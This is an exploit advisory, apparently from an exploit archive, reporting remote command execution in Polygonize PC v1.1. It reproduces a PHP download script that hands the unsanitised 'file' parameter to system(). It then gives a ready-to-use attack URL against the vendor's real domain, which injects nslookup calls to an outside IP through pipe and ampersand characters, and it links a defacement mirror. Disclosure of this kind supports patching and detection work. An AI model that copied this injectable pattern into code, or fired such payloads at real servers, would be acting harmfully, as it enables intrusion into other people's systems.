============================================================================================================================
| # Title     : Polygonize PC v1.1 RCE Vulnerability                                                                       |
| # Author    : indoushka                                                                                                  |
| # email     : indoushka4ever@gmail.com                                                                                   |
| # Tested on : windows 10 FranASSais V.(Pro)                                                                              |
| # Version   : 1.1                                                                                                        |
| # Vendor    : http://polygonize.net/                                                                                     |  
| # Dork      : http://www.zone-h.org/mirror/id/30699471                                                                   |
============================================================================================================================

poc :

<?
/*************************************
 *   Code to download JPGs, PDFs, etc
 *   www.sometricks.com                        
 *************************************/
$file = $_GET['file'];
$file2 = "/var/www/cartoonize.net/web/tmp/".$_GET['file'];
system("/usr/bin/composite  -gravity SouthEast watermark.png $file $file");

if(@is_array(getimagesize($file))){
    $image = true;
} else {
    $image = false;
}
//print_r(getimagesize($file2));
//exit();
if ($image==true) {
header ("Content-type: octet/stream");
header ("Content-disposition: attachment; filename=".$file.";");
header("Content-Length: ".filesize($file));
readfile($file);
}
else echo "Wrong image type";
exit;
?>

http://polygonize.net//download.php?file=nslookup%20213.32.6.8|nslookup%20213.32.6.8%26nslookup%20213.32.6.8


Greetz :----------------------------------------------------------------------------------------
                                                                                               |
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic              |
                                                                                               |
================================================================================================